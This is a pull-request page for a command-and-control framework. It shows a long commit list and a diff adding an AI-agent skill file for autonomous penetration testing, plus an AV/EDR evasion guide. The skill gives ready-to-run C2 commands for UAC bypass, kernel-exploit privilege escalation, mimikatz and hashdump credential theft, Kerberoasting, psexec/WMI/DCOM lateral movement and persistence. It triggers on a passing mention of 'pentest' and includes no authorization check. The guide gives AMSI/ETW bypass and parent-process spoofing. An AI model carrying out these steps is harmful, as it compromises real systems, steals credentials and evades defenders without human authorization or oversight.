Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
677 commits
Select commit Hold shift + click to select a range
fc50df6
fix:obverse
h3zh1 Nov 19, 2025
4e8b846
feat: add GetGroups and GetSchemas localrpc
M09Ic Nov 23, 2025
255a2a6
feat: support media
h3zh1 Nov 20, 2025
025ec01
feat: support media
h3zh1 Nov 20, 2025
3d34ea0
fix: saas logic 、tls panic
h3zh1 Nov 23, 2025
14d1336
fix: opsec
h3zh1 Nov 23, 2025
21976ce
feat: update IoM-go
h3zh1 Nov 23, 2025
2f24a6d
chore: update sac process
h3zh1 Nov 25, 2025
b410e6e
chore: check mcp health
h3zh1 Nov 25, 2025
b9ce77a
fix: tls cert、checkDockerSource
h3zh1 Nov 26, 2025
d26e703
feat: update proto
h3zh1 Nov 26, 2025
a7d2b24
fix: update install.sh
h3zh1 Nov 27, 2025
bff85e7
chore: build、mcp
h3zh1 Nov 28, 2025
33e7ec0
fix: checkalive
h3zh1 Nov 30, 2025
1fb0a9c
feat: impl bind mode
M09Ic Dec 10, 2025
22e5327
fix: misc improve
h3zh1 Dec 23, 2025
8a01589
feat: support common request
h3zh1 Dec 23, 2025
f6da539
feat: support mutant
h3zh1 Dec 23, 2025
4aeac51
fix: mv config logic
h3zh1 Dec 28, 2025
be08fdf
fix: mutant cmd
h3zh1 Dec 29, 2025
79cf9d4
chore: misc
h3zh1 Jan 4, 2026
cffcdf9
chore: support srdi type
h3zh1 Jan 7, 2026
948885c
feat: impl ExecuteModule
M09Ic Jan 11, 2026
7c1298b
fix: double print task status
M09Ic Jan 11, 2026
71e16c0
chore: remove CommonRequest
M09Ic Jan 11, 2026
dbebf9a
chore: allow null expect
M09Ic Jan 11, 2026
8ec50e3
fix: listener, cert parsing, and logging
h3zh1 Jan 24, 2026
26a7a64
docs: update README
h3zh1 Jan 24, 2026
282aadc
feat(wizard): grouped commands and huh integration
h3zh1 Jan 24, 2026
a8e6696
feat(readline): fish-style inline suggestion
h3zh1 Jan 24, 2026
831ef1b
feat(tui): update
h3zh1 Jan 24, 2026
3ee54fb
fix: rem
h3zh1 Jan 26, 2026
2b1de54
fix: update go.mod
h3zh1 Feb 2, 2026
1a7a893
fix: docker build status (#86)
Ar3h Feb 5, 2026
e9cc19e
fix: complete
h3zh1 Feb 5, 2026
9f86a0f
fix(readline): guard TrimSuffix panic #53
h3zh1 Feb 5, 2026
1013a6d
fix(console): reset cobra/carapace completion state #44
h3zh1 Feb 5, 2026
a12fd78
fix: rem flag compatibility
h3zh1 Feb 5, 2026
6dc716f
chore: config validate
h3zh1 Feb 6, 2026
45ccff9
fix: avoid readline spin when stdin is not a TTY
h3zh1 Feb 6, 2026
3040c42
Update README.md
misty533 Feb 7, 2026
bed7727
fix: cobra examples and command argument/flag consistency
h3zh1 Feb 7, 2026
d2e5866
fix: CryptoConn.Read() buffer overflow causing persistent connection …
h3zh1 Feb 8, 2026
4686aca
fix: tls info
h3zh1 Feb 9, 2026
180bff3
feat: support multiple embedded plugins and update goreleaser
h3zh1 Feb 10, 2026
64b919a
fix: movefile
h3zh1 Feb 12, 2026
92c396a
fix: multiple embedded plugins
h3zh1 Feb 12, 2026
46ff3ef
fix: correct community submodule path for multi-plugin structure
h3zh1 Feb 13, 2026
aaea292
fix: prevent Task.Close panic from double close on DoneCh
M09Ic Feb 13, 2026
e075e16
fix: add SafeGo panic recovery for all goroutines and convert pipelin…
M09Ic Feb 13, 2026
2970925
fix: add sync.RWMutex to concurrent maps (Listener.Pipelines, Pipelin…
M09Ic Feb 13, 2026
f376cf4
fix(notify): fix UpdateNotifyConfig
h3zh1 Feb 11, 2026
854028b
refactor(auth): simplify to pure fingerprint auth, remove UPN and ove…
h3zh1 Feb 11, 2026
c6959c6
chore(readline): cherry-pick bug fixes and perf optimizations from up…
h3zh1 Feb 12, 2026
527de06
fix: Download
h3zh1 Feb 13, 2026
0676148
feat(deps)!: upgrade dependencies and bump go to 1.24.13
h3zh1 Feb 13, 2026
499285f
chore: remove tui package
h3zh1 Feb 13, 2026
6e289c2
feat: support context delete
h3zh1 Feb 13, 2026
29da0ed
feat(tui): auto-fit column widths based on cell content
h3zh1 Feb 13, 2026
db8530c
chore: github action
h3zh1 Feb 13, 2026
be96df5
fix: kv table
h3zh1 Feb 17, 2026
d9750d4
feat: quickstart
h3zh1 Feb 20, 2026
788dbaf
feat(mal): support zip format for mal install
h3zh1 Feb 20, 2026
bed9ce2
fix(config): add yaml tags to all config structs to fix quickstart co…
h3zh1 Feb 22, 2026
e62c9ab
feat(quickstart): improve interactive config wizard with build source…
h3zh1 Feb 22, 2026
2049d98
feat(ci): add CI workflow to run tests on push and PR to dev
h3zh1 Feb 22, 2026
9c7f036
fix(ci): add go mod tidy before vet to resolve missing go.sum entries
h3zh1 Feb 22, 2026
eb587d7
chore: update community submodule and nightly to use latest submodule…
h3zh1 Feb 22, 2026
043e66f
fix: resolve all go vet errors for format strings and context leaks
h3zh1 Feb 22, 2026
3d60891
fix(community): add artifact_bin API and fix persistence module issues
h3zh1 Feb 22, 2026
3928cfd
chore: update community submodule with bug fixes
h3zh1 Feb 22, 2026
ee41c24
test(intl): add unit tests for mal Lua plugin system
h3zh1 Feb 22, 2026
3d44746
fix(crypto): fix age encryption and remove broken DB stubs
h3zh1 Feb 22, 2026
1eea74a
fix(auth): allow CA cert localhost bypass and improve user management UX
h3zh1 Feb 22, 2026
757e504
feat(user): add reset command and timestamped auth backup
h3zh1 Feb 22, 2026
e4fba4a
fix: age
h3zh1 Feb 22, 2026
fd9acdd
fix: stabilize age key rotation across re-register and parser decryption
h3zh1 Feb 23, 2026
0d5871a
fix(task): add DB fallback for task lookup and fix cache ordering
h3zh1 Feb 23, 2026
28416eb
fix(vet): align modules and avoid unsafe lock/pointer copies
h3zh1 Feb 23, 2026
e6fd7af
fix(age): move UpdatePrivateKey into callback and add E2E tests
M09Ic Feb 23, 2026
d28df28
feat(profile): disk-based config persistence and build input flag red…
h3zh1 Feb 23, 2026
91e83f8
chore: update IoM-go submodule for Profile proto changes
h3zh1 Feb 23, 2026
9783ee5
chore: update community submodule
h3zh1 Feb 23, 2026
df2ca1a
feat(profile): add profile show command for detailed config viewing
h3zh1 Feb 24, 2026
ca0ae05
feat: update IoM-go
h3zh1 Feb 24, 2026
aca685a
chore(ci): update nightly release notes for dev branch
h3zh1 Feb 24, 2026
2bec4d9
fix(localrpc): return task-bound output and update IoM-go timeout
h3zh1 Feb 24, 2026
5823930
fix(plugin): sync Long/Example from plugin.Command to cobra.Command
h3zh1 Feb 25, 2026
592c7bb
feat: update mal-intl
h3zh1 Feb 25, 2026
d3c736a
feat(notify): support lark webhook signature verification
h3zh1 Feb 26, 2026
fad6f6f
fix: genlua
h3zh1 Feb 26, 2026
06db015
chore: column name
h3zh1 Feb 26, 2026
8a1e89d
feat(acme): replace broken HTTP-01 with lego DNS-01 ACME certificate …
h3zh1 Mar 2, 2026
1b2bb9e
fix(event): restore CLI event styling and separate rendering concerns
h3zh1 Mar 2, 2026
a0b1f42
fix(session): recover soft-deleted session on implant checkin and fix…
h3zh1 Mar 2, 2026
903de33
fix(pivot): add Session column to pivot list display
h3zh1 Mar 2, 2026
a3fd7c9
fix: taskschd_create
h3zh1 Mar 3, 2026
4ff523b
feat(db): add PostgreSQL support
h3zh1 Mar 5, 2026
77fd91d
feat: implement keepalive module
h3zh1 Mar 5, 2026
cbf19f1
feat: implement patch build mode
h3zh1 Mar 5, 2026
1ba0355
refactor(pty): streaming mode
h3zh1 Mar 5, 2026
7fbf27e
feat(filesystem): add touch command support
h3zh1 Mar 5, 2026
2786f9e
fix(website): support offline content changes
h3zh1 Mar 6, 2026
cec0b4d
fix(db): handle PostgreSQL FK constraints for nullable string fields
h3zh1 Mar 6, 2026
1bd2699
fix: simplify SessionLogin
h3zh1 Mar 6, 2026
22a0181
chore: add argument completions for keepalive
h3zh1 Mar 6, 2026
29a09f8
feat: update tui
h3zh1 Mar 7, 2026
ab39919
fix(rpc): avoid copying website pipeline proto locks
h3zh1 Mar 7, 2026
843d941
feat: update build
h3zh1 Mar 9, 2026
20af15a
fix: security hardening, bug fixes, and code cleanup
h3zh1 Mar 9, 2026
dde4b8a
feat: update rem args
h3zh1 Mar 10, 2026
e1593af
fix(pipeline): prevent duplicate entries in pipeline list
h3zh1 Mar 12, 2026
a182466
fix: close file handles before removing source in MoveFile on Windows
M09Ic Mar 12, 2026
c129760
feat: add CustomPipeline support, fix session Timer nil crash, improv…
M09Ic Mar 12, 2026
fc6ac99
docs: add session refactor documentation and edge case tests
M09Ic Mar 12, 2026
58be68e
refactor: replace BuildConfig.lib with output_type, support pulse --s…
h3zh1 Mar 12, 2026
88e2a38
feat: add CLAUDE.md、AGENT.md
h3zh1 Mar 12, 2026
2310cd4
feat: update IoM-go
h3zh1 Mar 12, 2026
0491f34
feat: CLAUDE.md、AGENTS.md
h3zh1 Mar 12, 2026
ab46a97
fix: resolve Pipeline_Custom undefined errors
h3zh1 Mar 12, 2026
ac12f90
feat: run quickstart automatically when config file does not exist
h3zh1 Mar 12, 2026
59cadd5
refactor: move ai-config into config ai subcommand
h3zh1 Mar 12, 2026
d072f6f
fix: clear stale completion display before redrawing
h3zh1 Mar 12, 2026
c681285
feat: enable usage-hint-always to show command usage below input
h3zh1 Mar 12, 2026
bc16820
fix: show usage hint for commands with single-word Use field
h3zh1 Mar 12, 2026
f3a1570
refactor: unify event-driven client state synchronization
M09Ic Mar 12, 2026
2ce6f67
fix: hide pipe and upload commands when no matching modules exist
M09Ic Mar 12, 2026
b5d160a
fix: notify client on Sleep change, clean up dead code
M09Ic Mar 12, 2026
de01c4a
refactor: unify db layer with query builders, remove dead code
M09Ic Mar 12, 2026
524cd01
Fix pipeline config round-trip and trim unused implanttypes helpers
M09Ic Mar 12, 2026
66561f6
test: expand config coverage
M09Ic Mar 12, 2026
df460bd
feat(agent): add skill command and improve LLM event rendering
M09Ic Mar 13, 2026
9a0bc34
feat: UX improvements — Starship prompt, session fixes, completer safety
M09Ic Mar 13, 2026
7e53a98
feat: prompt-safe async log output and unified ❯ prompt
M09Ic Mar 13, 2026
190298e
refactor: move ai-config under config subcommand, add merge-update fo…
M09Ic Mar 13, 2026
e519a9c
fix: skip console start when stdin is not a terminal, validate MCP co…
M09Ic Mar 13, 2026
0187928
feat: add agent commands (skill/tapping/poison) with streaming module…
M09Ic Mar 13, 2026
eafa464
feat(skill): add builtin skills and embedded resource discovery
M09Ic Mar 13, 2026
6596d96
fix: merge IoM-go submodule and fix proto lock copy warning
M09Ic Mar 13, 2026
02e15a5
refactor guarded runtime handling
M09Ic Mar 13, 2026
686fbb1
fix: prevent goroutine hangs from blocking channel operations
M09Ic Mar 13, 2026
f44aaac
test: add control plane integration coverage
M09Ic Mar 13, 2026
d6b8646
docs: add testing regression records
M09Ic Mar 13, 2026
2d49f19
test: add command conformance coverage
M09Ic Mar 13, 2026
30fcea2
test: extend control plane command coverage
M09Ic Mar 13, 2026
4403992
feat: add bridge agent module with LLM provider proxy and ReAct agent…
M09Ic Mar 13, 2026
092d598
test: harden extension armory and mal tests
M09Ic Mar 14, 2026
269ebf2
fix: non-interactive client command handling
M09Ic Mar 14, 2026
f021afd
test: harden module management regression tests
M09Ic Mar 14, 2026
6d92e12
test: add mock implant task lifecycle coverage
M09Ic Mar 14, 2026
71a4325
fix: code review issues in context propagation, command removal, and …
M09Ic Mar 14, 2026
e6290a5
refactor: improve non-interactive client execution
M09Ic Mar 14, 2026
d10c67c
test: align implant e2e harness with runtime behavior
M09Ic Mar 14, 2026
765cd59
chore(ci): add core_race job and document commit convention
M09Ic Mar 14, 2026
092ccfd
fix(helper): harden embed path resolution and cross-platform path han…
M09Ic Mar 14, 2026
d8b78fd
docs: add implant E2E testing guide, agent proposal, and pipeline docs
M09Ic Mar 14, 2026
6a81f6c
fix: MvConfig
h3zh1 Mar 14, 2026
b785a6a
feat(task): add CancelTask method to consolidate task cancellation logic
M09Ic Mar 16, 2026
ee1ab8a
fix(addon): refresh session state before rebuilding addon commands
M09Ic Mar 16, 2026
cd88c91
refactor(switch): restructure switch command with pipeline-based targ…
M09Ic Mar 16, 2026
2b9ccbe
refactor(context): synchronous sync, input validation, and improved R…
M09Ic Mar 16, 2026
87e58fc
test(testsupport): expand recorder and control plane test infrastructure
M09Ic Mar 16, 2026
d6af17e
test: add unit and integration tests across client command packages
M09Ic Mar 16, 2026
4352974
test(server): expand mock implant and real implant e2e test harness
M09Ic Mar 16, 2026
638cca8
docs: update test documentation and IoM-go submodule reference
M09Ic Mar 16, 2026
48b6fe4
chore(ci): add mock_implant job for mock implant e2e tests
M09Ic Mar 16, 2026
9521099
fix(ci): parallelize all jobs and skip missing root config in test
M09Ic Mar 16, 2026
507636d
fix(ci): commit root config.yaml with sanitized defaults
M09Ic Mar 16, 2026
153cbf4
chore: update IoM-go submodule to fix recursive checkout
M09Ic Mar 16, 2026
ceaeb76
fix: cross-platform test compatibility for Switch proto and file paths
M09Ic Mar 16, 2026
8b5aeae
fix: cross-platform path handling in mock filesystem and download
M09Ic Mar 16, 2026
818e1a8
fix(rpc): delegate REM pipelines from generic Start/Stop/DeletePipeli…
h3zh1 Mar 15, 2026
4f2b782
refactor(quickstart): replace multi-page wizard with single-page tabb…
h3zh1 Mar 15, 2026
48c3bfc
feat(prompt): starship-style prompt layout and GetSessionCount RPC
h3zh1 Mar 16, 2026
dd7b983
fix: cross-platform path handling in mock filesystem and download
M09Ic Mar 16, 2026
288c400
chore: sync IoM-go submodule with GetSessionCount RPC
M09Ic Mar 16, 2026
e082a20
fix: prevent race in waitModuleRequest when fast responses arrive
M09Ic Mar 16, 2026
1264238
feat(rem): dynamic polling interval reconfiguration
h3zh1 Mar 16, 2026
62b7529
fix(rem): register accept-path agents in pivot and isolate per-pipeli…
h3zh1 Mar 16, 2026
16b9f88
feat(rem): auto-resolve pipeline from agent-id in rem update interval
h3zh1 Mar 16, 2026
3b432c0
feat(cli): add daemon mode for headless runtimes
h3zh1 Mar 16, 2026
57fbaaa
fix(core): resolve 7 runtime bugs found by new unit and integration t…
M09Ic Mar 16, 2026
1179ccc
fix(rpc): clean up listener state on stream disconnect
M09Ic Mar 16, 2026
96f15b1
fix(core): harden against deadlock, panic, and race conditions
M09Ic Mar 16, 2026
6043cb8
test(listener): add website E2E tests with real HTTP server verification
M09Ic Mar 17, 2026
ffa0b05
fix(listener): return 404 for missing website content and guard Conte…
M09Ic Mar 17, 2026
c5ae30c
test(website): add full E2E tests from client command to HTTP response
M09Ic Mar 17, 2026
cfe0865
feat(client): integrate terminal multiplexer with seamless UX
M09Ic Mar 17, 2026
cbc9b66
feat(website): add HTTP Basic Auth support with per-path and per-site…
M09Ic Mar 17, 2026
56b2873
feat(secure): add HMAC-SHA256 signature to key exchange requests
M09Ic Mar 17, 2026
ce337d9
feat(test): add real implant secure key exchange E2E test
M09Ic Mar 17, 2026
80d3340
chore: sync tui submodule with mouse click support
M09Ic Mar 17, 2026
05ec213
refactor(client): rename --mux flag to --tui
M09Ic Mar 17, 2026
32d4160
chore: sync tui submodule with mouse wheel forwarding
M09Ic Mar 17, 2026
1cd47fd
chore: sync tui submodule with dead pane cleanup and scroll fix
M09Ic Mar 17, 2026
3d58f20
chore: sync tui submodule with scrollback viewport
M09Ic Mar 17, 2026
b7d4a16
fix(listener): align Reconfigure usage with current message API
h3zh1 Mar 17, 2026
4b02b61
test(listener): harden pipeline and auth edge cases
h3zh1 Mar 17, 2026
a42285c
test(rpc): add request guard coverage
h3zh1 Mar 17, 2026
7f47d77
test(client-db): harden pipeline command and session helpers
h3zh1 Mar 17, 2026
20b3efe
test(utils): harden helper edge cases
h3zh1 Mar 17, 2026
1702e86
fix(client): handle short session ids and resolve session prefixes
h3zh1 Mar 18, 2026
e17fa1b
fix(core): clean listener ctrl state and guard event formatting
h3zh1 Mar 18, 2026
66f4e0a
fix(rpc): propagate rem control failures
h3zh1 Mar 18, 2026
0efa4df
fix(listener): make pipeline close idempotent
h3zh1 Mar 18, 2026
540a0d4
fix(client): guard task event handling against nil events
h3zh1 Mar 18, 2026
ff47980
fix(rpc): validate file transfer requests
h3zh1 Mar 18, 2026
aeeca34
fix(rpc): validate website requests
h3zh1 Mar 18, 2026
e8c4087
fix(client): make event hook dispatch safe
h3zh1 Mar 18, 2026
a1240dc
fix(rpc): validate module requests and responses
h3zh1 Mar 18, 2026
6b3706d
fix(rpc): correct download chunk counting
h3zh1 Mar 18, 2026
67e205a
fix(rpc): finalize resumed downloads safely
h3zh1 Mar 18, 2026
28e4acf
fix(rpc): initialize website content map for hot updates
h3zh1 Mar 18, 2026
3dddaeb
refactor(rpc): split missing request field errors
h3zh1 Mar 18, 2026
64b22cb
feat(mcp): upgrade mcp-go from v0.25.0 to v0.45.0
h3zh1 Mar 18, 2026
be2bf1e
feat(pivot): add created_at timestamp to pivot context
h3zh1 Mar 18, 2026
8f2f3ee
chore: bump external/tui submodule to 440943f
h3zh1 Mar 18, 2026
3b69ca4
fix(mcp): unify executeCommand with task-wait logic from LocalRPC
h3zh1 Mar 18, 2026
5628c51
fix(plugin): auto-generate Use field with positional argument hints
h3zh1 Mar 18, 2026
4deb4fa
docs(community): bump submodule with help text for all mal commands
h3zh1 Mar 18, 2026
229fd77
feat(tls): add mTLS support for pipeline TCP listener with explicit c…
M09Ic Mar 17, 2026
7065b5c
docs(skills): rewrite all skills in English and fix cross-file refere…
M09Ic Mar 19, 2026
8c45d2a
feat(skill): add iom-pentest Claude Code skill for automated penetrat…
h3zh1 Mar 18, 2026
f894f96
refactor: quickstart
h3zh1 Mar 19, 2026
ed8e71e
fix(db): SQLite migrator compatibility for idempotent AutoMigrate
h3zh1 Mar 19, 2026
b513de4
fix(db): add schema check completion log on successful AutoMigrate
h3zh1 Mar 19, 2026
1dab12e
feat(log): daily log rotation with gzip compression and 180-day reten…
h3zh1 Mar 19, 2026
3613343
feat(mcp): add search_commands tool for fuzzy command discovery
M09Ic Mar 19, 2026
d96db9e
chore: update localrpc.proto
M09Ic Mar 19, 2026
1e1e33b
feat(config): unify config UI with subcommands and add status command
M09Ic Mar 19, 2026
1c2c66b
feat(localrpc): implement StreamCommand with EventHook-based streaming
M09Ic Mar 20, 2026
0a2310b
test(config): fix config ai example assertion
wuchulonly Mar 22, 2026
26e9705
test(llm): isolate env vars in resolve tests
wuchulonly Mar 22, 2026
536aa5d
chore(deps): add suo5 and proxyclient dependencies
wuchulonly Mar 22, 2026
db5889a
feat(pipeline): add webshell pipeline client commands
wuchulonly Mar 22, 2026
8e4fc97
feat(webshell-bridge): add webshell bridge server binary
wuchulonly Mar 22, 2026
046d21e
docs(protocol): add webshell bridge documentation
wuchulonly Mar 22, 2026
49712da
refactor(webshell-bridge): replace TCP transport with HTTP memory cha…
wuchulonly Mar 22, 2026
b95d771
docs(protocol): update webshell bridge for HTTP memory channel archit…
wuchulonly Mar 22, 2026
b9b3c02
feat(webshell-bridge): add long-poll, HMAC auth, jitter and DLL auto-…
wuchulonly Mar 22, 2026
b3c3f2f
docs(protocol): add DLL auto-load usage and manual loading section
wuchulonly Mar 22, 2026
17acc8e
feat(webshell-bridge): add pipelinectl debug utility
wuchulonly Mar 22, 2026
5702b46
feat(webshell-bridge): add deps delivery, streaming and URL refactor
wuchulonly Mar 22, 2026
53a9d35
refactor(webshell-bridge): remove standalone bridge binary
wuchulonly Mar 22, 2026
86b5d58
chore(deps): update IoM-go submodule and move suo5 to indirect
wuchulonly Mar 22, 2026
f12afe5
feat(pipeline): preserve raw custom params through DB roundtrips
wuchulonly Mar 22, 2026
a8a4ae4
feat(listener): add WebShellPipeline with suo5 transport
wuchulonly Mar 22, 2026
243a0ef
refactor(pipeline): update webshell commands for suo5 transport
wuchulonly Mar 22, 2026
9bee95d
docs(protocol): update webshell bridge for in-listener architecture
wuchulonly Mar 22, 2026
3afd34e
refactor(pipeline): reuse MaleficParser, extract runtimeErrorHandler,…
M09Ic Mar 23, 2026
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
The table of contents is too big for display.
Diff view
Diff view
  •  
  •  
  •  
265 changes: 265 additions & 0 deletions .claude/commands/iom-pentest/SKILL.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,265 @@
---
name: iom-pentest
description: >
Autonomous penetration testing through IoM C2 MCP tools. Covers the full
engagement lifecycle: reconnaissance, privilege escalation, credential
harvesting, lateral movement, and persistence. Operates in an OODA loop —
each phase analyzes results before deciding the next action. Use this skill
whenever the user wants to run automated pentest, red team assessment,
privilege escalation analysis, post-exploitation, or any offensive
operation through IoM — even if they just mention "pentest", "提权",
"横向", "信息收集", "凭据", "持久化", or "自动化测试".
---

# IoM Automated Penetration Test

通过 IoM MCP 工具进行自主渗透测试。核心是 **OODA 循环** — 观察、分析、决策、行动,每个阶段根据实际环境自适应。

## 核心原则

1. **每步先看数据再决定下一步** — 不盲目执行,根据环境调整策略
2. **OPSEC 优先** — 先识别防护,再选择相应规避手法。详见 [reference/opsec-guide.md](reference/opsec-guide.md)
3. **失败即转向** — 某手法被拦截,标记并换路径,不重试同一技术
4. **最小动作原则** — 能用 BOF 就不用 execute_assembly,能不落盘就不写文件

## MCP 工具使用规范

所有操作通过 `mcp__iom__execute_command` 执行:

- **切换 session**: `use <session_id_prefix>` — 进入 implant 上下文
- **implant 命令**: 切换后直接执行 `sysinfo`, `whoami`, `ps` 等
- **client 命令**: `session`, `listener`, `pipeline list` 等不需要 session 上下文
- **task 结果**: execute_command 会自动等待并返回结果,无需手动 get_history

> 命令用法详见 MCP 工具的 help 描述。特别注意:
> - BOF 类 UAC bypass(elevatedcom/sspi/colordataproxy/registryshell)使用**位置参数**
> - Flag 类 UAC bypass(silentcleanup/editionupgrade)使用 `--command` flag
> - 详见 [reference/technique-reference.md](reference/technique-reference.md)

## 阶段总览

```
Phase 1: 态势感知 → 身份、权限、环境、防护
↓ 检查点:我是谁?能做什么?面对什么防护?
Phase 2: 提权 → UAC bypass / Potato / 内核漏洞
↓ 检查点:拿到高权限了吗?
Phase 3: 凭据收割 → hash / 明文 / ticket / token
↓ 检查点:拿到什么凭据?能用在哪?
Phase 4: 横向移动 → psexec / wmi / dcom / ptt
↓ 检查点:新立足点在哪?重复 Phase 1
Phase 5: 持久化 → 注册表 / 服务 / 计划任务
↓ 检查点:重启后还能回来吗?
```

---

## Phase 1: 态势感知

**做什么**: 全面了解当前位置和环境

```
use <session_id>
sysinfo
whoami
privs
shell whoami /groups
ps
enum av
ipconfig
systeminfo
enum software
netstat
```

**检查点**(必须分析后再往下走):

| 维度 | 关键问题 | 决策影响 |
|------|---------|---------|
| 权限 | Medium 还是 High?有 `*` 标记吗? | Medium → Phase 2 提权;High → 跳到 Phase 3 |
| 管理员组 | `BUILTIN\Administrators` 在 groups 里吗? | 在 → UAC bypass 可行;不在 → 需要其他提权路径 |
| 完整性级别 | `Mandatory Label` 是什么级别? | Medium → UAC bypass;Low → 需要内核漏洞 |
| AV/EDR | 跑了什么安全产品? | 决定执行方式选择,详见 [reference/opsec-guide.md](reference/opsec-guide.md) |
| 域环境 | WORKGROUP 还是域? | 域 → Phase 4 有更多横向路径 |
| 补丁级别 | 最后安装的 KB 是什么时候的? | 老补丁 → 内核漏洞可用 |
| 网络位置 | 内网段是什么?能看到其他机器吗? | 决定 Phase 4 横向目标 |

---

## Phase 2: 提权

**仅当 Phase 1 判断为非管理员权限时执行。**

提权路径选择,按优先级排列。完整的技术参考见 [reference/technique-reference.md](reference/technique-reference.md)。

### 2.1 UAC Bypass(用户在 Administrators 组 + Medium 完整性)

**优先选择**(BOF 类,低检测率):

```
uac-bypass elevatedcom "C:\path\to\implant.exe"
uac-bypass sspi "C:\path\to\implant.exe"
uac-bypass colordataproxy "C:\path\to\implant.exe"
```

**备选**(需要 `--command` flag):

```
uac-bypass silentcleanup --command "C:\path\to\implant.exe"
uac-bypass editionupgrade --command "C:\path\to\implant.exe"
```

**PowerShell 类**(最后手段,容易被拦截):

```
uac-bypass eventvwr
uac-bypass wscript
uac-bypass envbypass
```

> implant 路径从 Phase 1 的 `sysinfo` 获取(file 字段)。

### 2.2 Token/Potato(有 SeImpersonatePrivilege)

```
elevate SweetPotato
elevate EfsPotato
elevate JuicyPotato --type t --program "C:\implant.exe" --port 1337
```

### 2.3 内核漏洞(补丁级别老旧)

根据 Phase 1 的 OS 版本和补丁判断:

| OS 版本 | 可用漏洞 |
|---------|---------|
| Win10 1903/1909 | `elevate cve-2020-0796` |
| Win7/8.1/2008R2/2012 | `elevate ms15-051`, `elevate ms14-058` |
| Win7/Vista x86 | `elevate ms16-016` |
| 通用(旧补丁) | `elevate ms16-032` |

### 2.4 其他路径

```
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" AlwaysInstallElevated
getsystem
```

**检查点**:每次提权尝试后,`session` 查看是否有新的 `*` 标记 session。成功后 `use <new_session>` 并用 `privs` 确认。

---

## Phase 3: 凭据收割

**从最高权限 session 执行。**

```
hashdump
logonpasswords
credman
autologon
mimikatz privilege::debug sekurlsa::logonpasswords
```

如果是域环境:

```
ldapsearch --query "(&(objectClass=user)(adminCount=1))"
ldapsearch --query "(&(samAccountType=805306368)(servicePrincipalName=*))"
klist
domain kerberoast
```

**检查点**:收集到的凭据整理成表格,分析哪些可用于横向移动。

---

## Phase 4: 横向移动

**基于 Phase 3 的凭据和 Phase 1 的网络发现。**

### 4.1 网络发现

```
pingscan --target <local_subnet>/24
portscan --target <live_hosts> --ports 445,3389,5985,22,80,443
```

### 4.2 移动执行

使用收集到的凭据:

```
move wmi-proccreate --target <ip> --command "C:\payload.exe"
move psexec --host <ip> --service MySvc --path /local/payload.exe
move dcom --target <ip> --cmd "C:\payload.exe"
move krb_ptt --ticket <base64_ticket>
token make --username admin --password P@ss --domain CONTOSO
```

**检查点**:`session` 确认新 session,然后对新 session **回到 Phase 1**。

---

## Phase 5: 持久化

**根据权限级别选择。** 详见 [reference/technique-reference.md](reference/technique-reference.md)。

管理员:

```
persistence Registry_Key --artifact_name <name>
persistence Install_Service --artifact_name <name>
persistence Scheduled_Task --artifact_name <name>
```

普通用户:

```
persistence startup_folder --use_malefic_as_custom_file
persistence reg_key
persistence NewLnk --artifact_name <name> --lnkname "Chrome" --filepath "C:\Users\<user>\Desktop"
```

**验证**:安装后检查对应的注册表/服务/计划任务确认生效。

---

## 输出报告

每次执行完成后,生成结构化报告:

```markdown
## Penetration Test Report
**Date**: YYYY-MM-DD HH:MM
**Scope**: $ARGUMENTS

### Attack Path
initial_session → [technique] → elevated_session → [credential] → lateral_session

### Sessions
| Session | Host | User | Privilege | How |
|---------|------|------|-----------|-----|

### Credentials
| Type | User | Domain | Source |
|------|------|--------|--------|

### Techniques
| Phase | MITRE ID | Technique | Result | Notes |
|-------|----------|-----------|--------|-------|

### Defensive Gaps
[What allowed the attack to succeed]

### Cleanup
[Artifacts removed, persistence cleaned if requested]
```

## 参考文档

| 需求 | reference 文件 |
|------|---------------|
| OPSEC 策略与 AV 规避 | [reference/opsec-guide.md](reference/opsec-guide.md) |
| 提权/横移/持久化技术速查 | [reference/technique-reference.md](reference/technique-reference.md) |

$ARGUMENTS
60 changes: 60 additions & 0 deletions .claude/commands/iom-pentest/reference/opsec-guide.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,60 @@
# OPSEC Guide — AV/EDR 识别与规避策略

根据 Phase 1 `enum av` 和 `ps` 的结果,选择对应的执行策略。

## 常见安全产品识别

| 进程名 | 产品 | 威胁等级 | 建议 |
|--------|------|---------|------|
| MsMpEng.exe | Windows Defender | 中 | AMSI bypass 后可用 |
| HipsDaemon.exe / HipsTray.exe | 火绒 | 低 | 对内存执行宽松 |
| ZhuDongFangYu.exe / 360*.exe | 360 安全卫士 | 中 | 避免落盘,用 BOF |
| aegis_*.exe / AliYunDun.exe | 阿里云盾 | 高 | 慎用 powershell |
| CarbonBlack*.exe / cb.exe | Carbon Black | 高 | 避免注入,用 BOF |
| MsSense.exe | Defender ATP/EDR | 高 | 极度谨慎 |
| CSFalcon*.exe / CSAgent.exe | CrowdStrike | 极高 | 仅 BOF + 慎用 |
| SentinelAgent.exe | SentinelOne | 极高 | 仅 BOF + 慎用 |

## 执行方式选择(按隐蔽性排序)

| 方式 | 隐蔽性 | 命令 | 适用场景 |
|------|--------|------|---------|
| BOF (内联) | ★★★★★ | `bof` | 首选,无新进程,无落盘 |
| Inline Assembly | ★★★★ | `inline_assembly --amsi` | .NET 工具,不创建进程 |
| Inline EXE/DLL | ★★★★ | `inline_exe`, `inline_dll` | 慎用,可能崩溃 |
| Execute Assembly | ★★★ | `execute_assembly --amsi` | .NET 工具,牺牲进程 |
| Execute EXE/DLL | ★★★ | `execute_exe`, `execute_dll` | PE 工具,牺牲进程 |
| Execute Shellcode | ★★★ | `execute_shellcode` | shellcode,牺牲进程 |
| PowerShell (unmanaged) | ★★ | `powerpick --amsi` | PS 脚本,无 powershell.exe |
| PowerShell | ★ | `powershell` | 最后手段,易被检测 |
| Shell (cmd) | ★ | `shell` | 最后手段,易被检测 |

## 牺牲进程防护选项

execute_exe / execute_dll / execute_shellcode / execute_assembly 支持的防护选项:

| 选项 | 说明 | 用法 |
|------|------|------|
| `--ppid <pid>` | 父进程欺骗 | 从 `ps` 中选一个合法父进程 PID |
| `--block_dll` | 阻止非微软 DLL 注入 | 对抗 EDR hook |
| `--etw` | 禁用 ETW | 对抗日志记录 |
| `--argue "notepad.exe"` | 参数欺骗 | 进程参数显示为 notepad |
| `--process "C:\...\svchost.exe"` | 自定义牺牲进程 | 默认 svchost.exe |

## .NET 工具 AMSI/ETW 绕过

```
bypass --amsi --etw
